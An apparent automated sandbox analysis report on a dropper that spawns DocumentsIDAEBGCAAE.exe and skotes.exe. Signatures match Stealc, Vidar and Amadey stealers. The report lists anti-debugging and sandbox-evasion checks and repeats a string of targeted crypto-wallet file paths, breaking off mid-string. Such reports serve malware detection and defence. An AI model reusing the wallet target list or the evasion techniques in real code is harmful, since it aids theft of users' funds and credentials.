Source: BKKJKFBK.0.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: BKKJKFBK.0.dr	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: BKKJKFBK.0.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: file.exe, 00000000.00000002.2601119957.00000000016AE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: BKKJKFBK.0.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: BKKJKFBK.0.dr	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: file.exe, 00000000.00000002.2600152772.0000000000EF7000.00000040.00000001.01000000.00000003.sdmp, DocumentsIDAEBGCAAE.exe, 00000015.00000000.2588004986.00000000011D5000.00000080.00000001.01000000.0000000B.sdmp, DocumentsIDAEBGCAAE.exe, 00000015.00000002.2692567358.00000000011D6000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 00000016.00000002.2690991904.0000000000756000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000016.00000000.2625269475.0000000000755000.00000080.00000001.01000000.0000000E.sdmp, skotes.exe, 00000017.00000002.2718130393.0000000000756000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000017.00000000.2662330836.0000000000755000.00000080.00000001.01000000.0000000E.sdmp, skotes.exe, 00000019.00000000.3174183645.0000000000755000.00000080.00000001.01000000.0000000E.sdmp, skotes.exe, 00000019.00000002.3318393808.0000000000756000.00000040.00000001.01000000.0000000E.sdmp, DocumentsIDAEBGCAAE.exe.0.dr, skotes.exe.21.dr, random[1].exe.0.dr	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: BKKJKFBK.0.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: BKKJKFBK.0.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger

Potentially malicious time measurement code found

Source: C:\Users\user\DocumentsIDAEBGCAAE.exe

Code function: 21_2_057601BA Start: 0576027D End: 0576018B

21_2_057601BA

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort

Source: C:\Users\user\DocumentsIDAEBGCAAE.exe

Code function: 21_2_05760D40 rdtsc

21_2_05760D40

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6B5FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

0_2_6C6B5FF0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6BC410 LoadLibraryW,GetProcAddress,FreeLibrary,

0_2_6C6BC410

Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	Code function: 21_2_0101652B mov eax, dword ptr fs:[00000030h]	21_2_0101652B
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	Code function: 21_2_0101A302 mov eax, dword ptr fs:[00000030h]	21_2_0101A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_0059A302 mov eax, dword ptr fs:[00000030h]	22_2_0059A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_0059652B mov eax, dword ptr fs:[00000030h]	22_2_0059652B

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_6C68B66C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6C68B1F7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C83AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6C83AC62

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 1848, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsIDAEBGCAAE.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsIDAEBGCAAE.exe "C:\Users\user\DocumentsIDAEBGCAAE.exe"
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"

Source: file.exe, 00000000.00000002.2600152772.0000000000EF7000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: +Program Manager
Source: file.exe	Binary or memory string: +Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C68B341 cpuid

0_2_6C68B341

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6535A0 ?Startup@TimeStamp@mozilla@@SAXXZ,InitializeCriticalSectionAndSpinCount,getenv,QueryPerformanceFrequency,_strnicmp,GetSystemTimeAdjustment,__aulldiv,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,__aulldiv,strcmp,strcmp,_strnicmp,

0_2_6C6535A0

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 21.2.DocumentsIDAEBGCAAE.exe.fe0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.skotes.exe.560000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.skotes.exe.560000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.skotes.exe.560000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000016.00000002.2686967034.0000000000561000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.3317258522.0000000000561000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.2689803559.0000000000FE1000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.2717079854.0000000000561000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.2599848202.0000000000B21000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2088034499.00000000054F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2601119957.00000000016AE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 1848, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 1848, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000002.2599848202.0000000000BEC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2599848202.0000000000BEC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2599848202.0000000000BEC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2599848202.0000000000BEC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2599848202.0000000000BEC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2599848202.0000000000BEC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2599848202.0000000000BEC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2599848202.0000000000BEC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo 